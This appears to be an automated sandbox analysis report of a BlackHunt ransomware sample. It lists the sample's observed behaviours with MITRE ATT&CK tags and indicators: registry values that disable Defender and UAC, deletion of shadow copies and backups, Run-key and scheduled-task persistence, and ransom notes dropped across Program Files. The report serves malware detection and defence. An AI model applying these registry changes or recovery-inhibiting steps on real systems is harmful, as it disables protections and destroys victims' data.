3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d

Data Destruction

T1485

pid	Process
3876	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1960	bcdedit.exe
4728	bcdedit.exe

Renames multiple (718) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2352	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\V:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\B:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\I:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\O:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\P:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\S:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\N:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Q:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Y:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\W:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\U:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\J:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\L:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\Z:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\X:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\M:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\T:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\G:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\H:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\K:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened (read-only)	\??\A:	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\vlc.mo	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\giflib.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jpeg.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\cacerts	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\main.css	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\UnregisterResize.3g2	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_fr.properties	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_fr.properties	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunmscapi.jar	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\mesa3d.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\telnet.luac	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\joni.md	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_ReadMe.hta	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkDrop32x32.gif	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1768	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4492	vssadmin.exe
4704	vssadmin.exe
1132	vssadmin.exe
5032	vssadmin.exe
4304	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeRestorePrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeBackupPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeTakeOwnershipPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeAuditPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeSecurityPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeIncBasePriorityPrivilege	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Token: SeBackupPrivilege	3124	vssvc.exe
Token: SeRestorePrivilege	3124	vssvc.exe
Token: SeAuditPrivilege	3124	vssvc.exe
Token: SeBackupPrivilege	4972	wbengine.exe
Token: SeRestorePrivilege	4972	wbengine.exe
Token: SeSecurityPrivilege	4972	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 4340	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	90
PID 4780 wrote to memory of 4340	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	90
PID 4780 wrote to memory of 3880	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	92
PID 4780 wrote to memory of 3880	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	92
PID 4780 wrote to memory of 3084	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	94
PID 4780 wrote to memory of 3084	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	94
PID 4780 wrote to memory of 3112	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	96
PID 4780 wrote to memory of 3112	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	96
PID 4780 wrote to memory of 1812	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	98
PID 4780 wrote to memory of 1812	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	98
PID 3084 wrote to memory of 1816	3084	cmd.exe	100
PID 3084 wrote to memory of 1816	3084	cmd.exe	100
PID 3880 wrote to memory of 5080	3880	cmd.exe	102
PID 3880 wrote to memory of 5080	3880	cmd.exe	102
PID 4340 wrote to memory of 5024	4340	cmd.exe	105
PID 4340 wrote to memory of 5024	4340	cmd.exe	105
PID 3112 wrote to memory of 380	3112	cmd.exe	104
PID 3112 wrote to memory of 380	3112	cmd.exe	104
PID 1812 wrote to memory of 1516	1812	cmd.exe	103
PID 1812 wrote to memory of 1516	1812	cmd.exe	103
PID 4780 wrote to memory of 4672	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	106
PID 4780 wrote to memory of 4672	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	106
PID 4780 wrote to memory of 5000	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	108
PID 4780 wrote to memory of 5000	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	108
PID 4780 wrote to memory of 392	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	110
PID 4780 wrote to memory of 392	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	110
PID 4780 wrote to memory of 1300	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	112
PID 4780 wrote to memory of 1300	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	112
PID 4780 wrote to memory of 2804	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	114
PID 4780 wrote to memory of 2804	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	114
PID 4780 wrote to memory of 1560	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	116
PID 4780 wrote to memory of 1560	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	116
PID 4780 wrote to memory of 1916	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	118
PID 4780 wrote to memory of 1916	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	118
PID 4780 wrote to memory of 2372	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	120
PID 4780 wrote to memory of 2372	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	120
PID 4780 wrote to memory of 2612	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	128
PID 4780 wrote to memory of 2612	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	128
PID 4780 wrote to memory of 4764	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	121
PID 4780 wrote to memory of 4764	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	121
PID 4780 wrote to memory of 648	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	126
PID 4780 wrote to memory of 648	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	126
PID 4780 wrote to memory of 4624	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	124
PID 4780 wrote to memory of 4624	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	124
PID 4780 wrote to memory of 3516	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	129
PID 4780 wrote to memory of 3516	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	129
PID 4780 wrote to memory of 1268	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	131
PID 4780 wrote to memory of 1268	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	131
PID 4780 wrote to memory of 4872	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	134
PID 4780 wrote to memory of 4872	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	134
PID 4780 wrote to memory of 2352	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	135
PID 4780 wrote to memory of 2352	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	135
PID 4780 wrote to memory of 1632	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	140
PID 4780 wrote to memory of 1632	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	140
PID 4780 wrote to memory of 1544	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	139
PID 4780 wrote to memory of 1544	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	139
PID 4780 wrote to memory of 4392	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	138
PID 4780 wrote to memory of 4392	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	138
PID 4780 wrote to memory of 4412	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	143
PID 4780 wrote to memory of 4412	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	143
PID 4780 wrote to memory of 4536	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	145
PID 4780 wrote to memory of 4536	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	145
PID 4780 wrote to memory of 1044	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	151
PID 4780 wrote to memory of 1044	4780	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe	151

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe
"C:\Users\Admin\AppData\Local\Temp\3b895f919c4055066acba8caffba6cae851ff6caa7a822a6e268d90faf7b116d.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
